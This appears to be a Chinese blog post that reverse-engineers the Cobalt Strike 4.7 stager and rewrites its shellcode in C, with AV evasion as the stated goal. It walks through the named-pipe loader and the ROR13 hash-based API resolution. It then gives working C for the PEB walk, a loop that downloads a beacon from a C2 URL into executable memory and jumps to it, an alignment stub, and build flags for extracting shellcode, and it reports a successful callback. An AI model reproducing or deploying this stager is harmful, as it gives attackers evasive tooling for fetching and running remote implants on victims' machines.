关于CS 4.7 Stager 逆向及 Shellcode 重写

1. 概述

一直很想有一个自己的控,奈何实力不允许,CS 仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用 go 重写了 CS 的 beacon,感觉这个思路很好,但是 go 编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用 C 去重写一个,不过 beacon 的功能很多,短时间去重写有点费劲,所以想先重写 CS 的 stager 部分,并能转化成 shellcode 通过加载器进行加载。CS 4.7出来有段时间了,本文尝试对 CS 的 stager 进行逆向,并尝试用 C 重写 stager 的 shellcode 。

2. 样本信息

样本名:artifact.exe (通过CS的Windows Stager Payload生成的64位exe)

3. Stager 逆向

CS 生成的 exe 格式的 stager 本质上就是一个 shellcode 加载器,真正实现 stager 的拉取 beacon 功能的是其中的 shellcode 部分,因为加载器我们可以通过很多方式去实现,且4.7版本的 stager 加载流程并没有较大变化,所以对 stager 的加载部分只做简单的分析。

3.1 Shellcode加载部分:

进入主函数,直接进 sub_4017F8 函数看它的功能实现:

进入 sub_4017F8 函数,先获取系统时间戳,然后创建线程通过管道读取 shellcode 并执行:

拼接的管道名:\.\pipe\MSSE-3410-server:

跟进 CreateThread 中的线程执行函数:

跟进 WriteShellcodeToPipe_401630,创建管道并循环写入 shellcode:

shellcode 内容如下:

写入 shellcode:

跟进 ShellcodeExec_4017A6 函数,该函数实现从管道接收 shellcode 并解密执行:

从管道中读取 shellcode 到内存:

将读取到的 shellcode 在 DecryptAndExecShellcode_401595 函数中解密执行:

解密后的 shellcode 可以通过 CreateThread 的传参找到,起始地址保存在 R9 寄存器中:

3.2 Shellcode执行部分:

Shellcode 是一段地址无关代码,不能直接调用 Win32Api,CS 的 shellcode 是通过遍历 PEB 结构和 PE 文件导出表并根据导出函数的 hash 值查找需要的模块和 API 函数:

3.2.1 遍历PEB获取Win32API

遍历PEB:

计算模块哈希:

查找导出函数:

该部分的完整汇编如下:

| mov rdx,qword ptr gs:[rdx+60] | 查找PEB

| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表

| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表

| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器

| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器(unicode)

| xor r9,r9 |

| xor rax,rax |

| lodsb | 逐字符读入模块名称

| cmp al,61 | 判断大小写

| jl A0037 | 大写则跳转

| sub al,20 | 如果是小写就转换为大写

| ror r9d,D | ROR13加密计算

| add r9d,eax | 将计算得到的hash值存入R9寄存器

| loop A002D | 循环计算

| push rdx |

| push r9 |

| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址

| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移(PE标识)

| add rax,rdx | rax指向PE标识

| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B(PE32+)

| jne A00C7 |

| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器

| test rax,rax |

| je A00C7 |

| add rax,rdx | 模块基址+导出表RVA=导出表VA

| push rax |

| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器

| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器

| add r8,rdx | 导出函数的起始VA

| jrcxz A00C6 |

| dec rcx |

| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA

| add rsi,rdx | 当前导出函数的VA

| xor r9,r9 |

| xor rax,rax |

| lodsb | 逐字符读入导出函数名

| ror r9d,D | ROR13加密运算

| add r9d,eax | 计算的hash存入R9

| cmp al,ah | 字符串最后一位为0,此时al、ah均为0,循环结束

| jne A007D | 不为0,继续运算

| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和

| cmp r9d,r10d | 运算结果与要查找的函数hash(R10)进行比较

| jne A006E | 没找到则跳回去继续找

| pop rax |

之后会不断循环上面的代码通过hash依次查找以下Api函数:

0x0726774C => LoadLibraryA

0xA779563A => InternetOpenA

0xC69F8957 => InternetConnectA

0x3B2E55EB => HttpOpenRequestA

0x7B18062D => HttpSendRequestA

0xE553A458 => VirtualAlloc

0xE2899612 => InternetReadFile

3.2.2 请求C2服务器建立连接

调用 LoadLibraryA 加载 wininet.dll:

调用 InternetOpenA 进行初始化:

调用 InternetConnectA 与控制端建立 http 会话:

调用 HttpOpenRequestA 创建 http 请求:

调用 HttpSendRequestA 将指定请求发送到服务器:

3.2.3 获取Beacon加载上线

调用 VirtualAlloc 为 beacon 分配内存:

循环调用 InternetReadFile 将 beacon 读取到分配的内存:

跳转,进入 beacon 的内存空间:

之后,beacon 会解密自身,通过反射式DLL注入执行上线,不在本篇范围,故不赘述。

4. C 重写 Shellcode

通过前面的内容我们已经了解了 CS 的 stager 的基本功能,其中 shellcode 部分通过调用 wininet.dll 中的相关 API 函数向 C2 服务器发起 http 请求并建立连接,远程读取 beacon 的内容并为其分配内存后跳转执行,在 C 里面,我们只需要调用相同的 API 函数即可实现相同的功能。

然而,我们的目的是希望用 C 编写出来的代码可以转化为 shellcode,这样既可以保留 shellcode 灵活加载的优势,也可以通过编写 C 代码自由地控制 shellcode(汇编大佬勿cue)。因为 shellcode 是一段地址无关代码,我们不能像编译一个可执行文件那样直接调用 Windows API,这就是为什么 CS 的 shellcode 会有一段代码通过遍历 PEB 和导出表来获取所需的 Windows API 函数。

理清了思路,剩下的就是写代码了,下面给出关键代码。

4.1 Shellcode的代码实现

4.1.1 遍历PEB获取Win32API

这个部分已经有很多代码实例了,直接拿来 include 就可以:

#include <windows.h>

#include <winternl.h>

// This compiles to a ROR instruction

// This is needed because _lrotr() is an external reference

// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.

#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.

typedef struct _MY_PEB_LDR_DATA {

ULONG Length;

BOOL Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY

{

LIST_ENTRY InLoadOrderLinks;

LIST_ENTRY InMemoryOrderLinks;

LIST_ENTRY InInitializationOrderLinks;

PVOID DllBase;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

HMODULE GetProcAddressWithHash( In DWORD dwModuleFunctionHash )

{

PPEB PebAddress;

PMY_PEB_LDR_DATA pLdr;

PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;

PVOID pModuleBase;

PIMAGE_NT_HEADERS pNTHeader;

DWORD dwExportDirRVA;

PIMAGE_EXPORT_DIRECTORY pExportDir;

PLIST_ENTRY pNextModule;

DWORD dwNumFunctions;

USHORT usOrdinalTableIndex;

PDWORD pdwFunctionNameBase;

PCSTR pFunctionName;

UNICODE_STRING BaseDllName;

DWORD dwModuleHash;

DWORD dwFunctionHash;

PCSTR pTempChar;

DWORD i;

#if defined(_WIN64)

PebAddress = (PPEB) __readgsqword( 0x60 );

#elif defined(_M_ARM)

// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes

// necessary to get the PEB.Ldr address

PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);

__emit( 0x00006B1B );

#else

PebAddress = (PPEB) __readfsdword( 0x30 );

#endif

pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;

pNextModule = pLdr->InLoadOrderModuleList.Flink;

pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;

while (pDataTableEntry->DllBase != NULL)

{

dwModuleHash = 0;

pModuleBase = pDataTableEntry->DllBase;

BaseDllName = pDataTableEntry->BaseDllName;

pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);

dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

// Get the next loaded module entry

pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;

// If the current module does not export any functions, move on to the next module.

if (dwExportDirRVA == 0)

{

continue;

}

// Calculate the module hash

for (i = 0; i < BaseDllName.MaximumLength; i++)

{

pTempChar = ((PCSTR) BaseDllName.Buffer + i);

dwModuleHash = ROTR32( dwModuleHash, 13 );

if ( *pTempChar >= 0x61 )

{

dwModuleHash += *pTempChar - 0x20;

}

else

{

dwModuleHash += *pTempChar;

}

}

pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);

dwNumFunctions = pExportDir->NumberOfNames;

pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);

for (i = 0; i < dwNumFunctions; i++)

{

dwFunctionHash = 0;

pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);

pdwFunctionNameBase++;

pTempChar = pFunctionName;

do

{

dwFunctionHash = ROTR32( dwFunctionHash, 13 );

dwFunctionHash += pTempChar;
pTempChar++;
} while (
(pTempChar - 1) != 0);

dwFunctionHash += dwModuleHash;

if (dwFunctionHash == dwModuleFunctionHash)

{

usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));

return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));

}

}

}

// All modules have been exhausted and the function was not found.

return NULL;

}

在引用了以上代码后,我们还需要定义我们所需的 API 函数,这里我们尝试使用其它 API 进行测试:

typedef HMODULE(WINAPI* FN_LoadLibraryA)(
In LPCSTR lpLibFileName

);

typedef LPVOID(WINAPI* FN_VirtualAlloc)(
In_opt LPVOID lpAddress,
In SIZE_T dwSize,
In DWORD flAllocationType,
In DWORD flProtect

);

typedef LPVOID(WINAPI* FN_InternetOpenA)(
In LPCSTR lpszAgent,
In DWORD dwAccessType,
In LPCSTR lpszProxy,
In LPCSTR lpszProxyBypass,
In DWORD dwFlags

);

typedef HANDLE(WINAPI* FN_InternetOpenUrlA)(
In LPVOID hInternet,
In LPCSTR lpszUrl,
In LPCSTR lpszHeaders,
In DWORD dwHeadersLength,
In DWORD dwFlags,
In DWORD_PTR dwContext

);

typedef BOOL(WINAPI* FN_InternetReadFile)(
In LPVOID hFile,
Out LPVOID lpBuffer,
In DWORD dwNumberOfBytesToRead,
Out LPDWORD lpdwNumberOfBytesRead

);

typedef struct tagApiInterface {

FN_LoadLibraryA pfnLoadLibrary;

FN_VirtualAlloc pfnVirtualAlloc;

FN_InternetOpenA pfnInternetOpenA;

FN_InternetOpenUrlA pfnInternetOpenUrlA;

FN_InternetReadFile pfnInternetReadFile;

}APIINTERFACE, * PAPIINTERFACE;

现在我们已经有了定义好的函数和 GetProcAddressWithHash 函数,接下来只需要通过 hash 寻找我们需要的函数即可:

#pragma warning( push )

#pragma warning( disable : 4055 )

ai.pfnLoadLibrary = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);

ai.pfnLoadLibrary(szWininet);

ai.pfnLoadLibrary(szUser32);

ai.pfnVirtualAlloc      = (FN_VirtualAlloc)GetProcAddressWithHash(0xE553A458);
ai.pfnInternetOpenA     = (FN_InternetOpenA)GetProcAddressWithHash(0xA779563A);
ai.pfnInternetOpenUrlA  = (FN_InternetOpenUrlA)GetProcAddressWithHash(0xF07A8777);
ai.pfnInternetReadFile  = (FN_InternetReadFile)GetProcAddressWithHash(0xE2899612);

#pragma warning( pop )

4.1.2 建立连接接收Beacon

LPVOID hInternet = ai.pfnInternetOpenA(0, 0, NULL, 0, NULL);

HANDLE hInternetOpenUrl = ai.pfnInternetOpenUrlA(hInternet, HttpURL, NULL, 0, 0x80000000, 0);

LPVOID addr = ai.pfnVirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

recv_tmp = 1;

recv_tot = 0;

beacon_index = addr;

while (recv_tmp > 0) {

ai.pfnInternetReadFile(hInternetOpenUrl, beacon_index, 8192, (PDWORD)&recv_tmp);

recv_tot += recv_tmp;

beacon_index += recv_tmp;

}

((void(*)())addr)();

4.1.3 64位下的代码调整

为了保证我们的 shellcode 在64位上以正确的堆栈对齐方式达到其入口点,我们需要编写一个保证对齐的 asm 存根,并将其生成的对象文件作为链接器的附加依赖项:

EXTRN ExecutePayload:PROC

PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function

; to be called as an extern in our C code.

_TEXT SEGMENT

; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior

; to calling the entry point of the payload. This is necessary because 64-bit functions

; in Windows assume that they were called with 16-byte stack alignment. When amd64

; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,

; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely

; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)

; alignment.

AlignRSP PROC

push rsi ; Preserve RSI since we're stomping on it

mov rsi, rsp ; Save the value of RSP so it can be restored

and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes

sub rsp, 020h ; Allocate homing space for ExecutePayload

call ExecutePayload ; Call the entry point of the payload

mov rsp, rsi ; Restore the original value of RSP

pop rsi ; Restore RSI

ret ; Return to caller

AlignRSP ENDP

_TEXT ENDS

END

我们还需要一个头文件帮助我们调用上面的汇编函数:

#if defined(_WIN64)

extern VOID AlignRSP( VOID );

VOID Begin( VOID )

{

// Call the ASM stub that will guarantee 16-byte stack alignment.

// The stub will then call the ExecutePayload.

AlignRSP();

}

#endif

4.1.4 其它坑点

(1)传入一些字符串参数时需要使用字符数组的形式;

(2)传入的字符串不能过长,太长的话会被编译器分配到别的区段导致提取的 shellcode 找不到其地址;

(3)如果 CS 使用默认的 profile,注意 URL 应满足 CS 的检查要求(checksum8);

4.2 修改VSStudio配置

在写好代码后,为了从我们编译生成的 exe 文件中提取出可以使用的 shellcode,我们还需要修改 VS 的部分配置选项:

编译器:

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

链接器:

/LTCG "x64\Release\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO

/SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO

/NODEFAULTLIB

其中 AdjustStack.obj 是我们上面提到的对象文件,function_link_order64.txt 是我们指定的链接顺序,其内容如下:

Begin // 入口函数

GetProcAddressWithHash

ExecutePayload // shellcode 功能函数

4.3 提取shellcode上线

配置好相关选项后,构建项目生成 exe,然后提取 .text 段就可以拿到我们的 shellcode 了:

使用一个简单的加载器进行测试,可成功上线:

  1. 参考链接
    https://bbs.kanxue.com/thread-264470.htm#msg_header_h2_0

https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html

相关推荐
kejijianwen1 小时前
JdbcTemplate常用方法一览AG网页参数绑定与数据寻址实操
服务器·数据库·oracle
编程零零七1 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
Dingdangr2 小时前
Android中的Intent的作用
android
技术无疆2 小时前
快速开发与维护:探索 AndroidAnnotations
android·java·android studio·android-studio·androidx·代码注入
GEEKVIP2 小时前
Android 恢复挑战和解决方案:如何从 Android 设备恢复删除的文件
android·笔记·安全·macos·智能手机·电脑·笔记本电脑
高兴就好(石4 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆5 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql
Karoku0665 小时前
【网站架构部署与优化】web服务与http协议
linux·运维·服务器·数据库·http·架构
码农郁郁久居人下5 小时前
Redis的配置与优化
数据库·redis·缓存
MuseLss6 小时前
Mycat搭建分库分表
数据库·mycat